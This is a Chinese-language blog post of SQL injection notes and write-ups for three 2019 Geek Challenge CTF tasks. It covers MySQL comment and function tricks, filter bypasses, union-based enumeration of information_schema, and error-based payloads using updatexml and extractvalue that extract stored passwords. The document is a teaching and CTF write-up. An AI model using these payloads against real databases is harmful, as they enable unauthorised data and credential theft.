sql注入(持续更新)
(0)
  • MySQL基础知识
  1. MySQL注释:

    '#' (#的url编码为%23)
    '-- ' (--后面要加空格)
    '//'内联注释 如(union // select可以干扰黑名单检测)

  2. 常用函数

    拼接函数:
    concat()将多个字符串连接成一个字符串
    group_concat()将group by产生的同一个分组中的值连接起来,返回一个字符串结果
    length()计算长度:可以计算数据库长度,如id=1' and length()database()>x
    left()将参数1从左开始取参数2个:猜库名:如select left(database(),1)>'a',成立返回1
    substr()截取字符串:可进行字符验证:select substr(database(),1,1)='a'
    substring()截取字符串:substring(string start,length)length是要返回的字符数
    mid()返回其中一部分字符串mid(string,start,length) :可进行字符验证 select 
       mid(database(0,1)='test'
    ascii()只返回最左边字符串数值:select ascii(database())='97'
    ord()返回第一字符的ASCII
    
    1. 一些替换
      like可以替换=

    ()可以替换空格
    ^替换or

  • 列表项目
  • 题目
  1. [极客大挑战 2019]LoveSQL
    这个题是一个union联合查询的题,要进行字段数猜测:order by 语句用于根据指定的列对结果集进行排序。

union用于将多个select语句的结果合并到一个结果集中

union select 字段1,字段2 from 表名

字段个数与前面个数一致,因为正常情况下前面应该有一个select语句用于正常查找数据库内容,但是我们用'符号闭合了应该输入的内容,而把我们后面的union select语句拼接上了,所以就构成了图片中的union语法

步骤:

1.判断列数:order by 3
2.判断显示位:union selecet 1,2,3#
3.获取数据库名称:union selecet 1,2,database()#
  获取版本信息:union selecet 1,2,version()#
  获取当前连接数据库的用户:union selecet 1,2,user()#
4.获取所有数据库信息
  数据库名称schema_name(table_schema)
  一次性显示:
  group_concat(schema_name) from 
  (information_schema.schemata)
  一个个显示:
  schema_name from information_schema.schemata limit 0,1
5.列表(table_name)
  group_concat(table_name) from (information_schema.tables) 
  where table_schema=database()
6.列字段
  group_concat(column_name) from (information_schema.columns) where table_schema=database() and table_name='**l0ve1ysq1**'
7.列数据
  group_concat(**id,username,password**) from 数据库名.表名
  1. [极客大挑战 2019]BabySQL
    这个题与上面的题很相似都是同一类型的,但是增加了点难度,这个题用了replace函数过滤黑名单内容
    replace函数用双写可以绕过
    然后这个题可以采用跟上题同样的方法去做
  2. [极客大挑战 2019]HardSQL
    这个题union被过滤掉了,也不能双写绕过,空格也被ban了,试了好多边都不行,可以用括号括住其他内容,但是updatexml(),extractvalue()和floor()都没有过滤,所以可以进行报错注入
1.updatexml()
  updatexml(xml-document,xpath-string,new_value)(目标xml文档,xml路径,更新的内容):用 
  来更新xml文档
  中间参数xpath_string不是xPATH就会报错(XPath即为XML路径语言,它是一种用来确定XML(标准通 
  用标记语言的子集)文档中某部分位置的语言)
  以~(0x7e)开头内容不是xml格式的语法
  'or(updatexml(1,concat(0x7e,select(password)from(),0x7e),1))

2.extractvalue():
  extractvalue(目标xml文档,xml路径)('anything','/xx/xx'):对xml文档进行查询的函数
  第二个参数是用/xx/xx格式来查找,如果是其他格式就会报错
  如:拼接了一个/database() 就会执行这个内容,但是如果是~database()就会产生报错
   select username from security.user where id=1 and 
   (extractvalue(‘anything’,concat(‘~’,(select database()))))     

两个函数报错的最大长度都是32:
1.用substring函数截取
  'or(updatexml(1,concat(0x7e, 
  (select(group_concat((right(password,25))))from(H4rDsq1)),0x7e),1))%23&password=21
2.{left(),right()}
   username=44&password=1%27^extractvalue(1,concat(0x7e, 
   (select(left(password,30))from(geek.H4rDsq1))))%23


 

参考链接:
https://blog.csdn.net/zpy1998zpy/article/details/80631036

本文为作者hackerbo.com发布,未经允许禁止转载!
上一篇 下一篇
评论
暂无评论 >_<
加入评论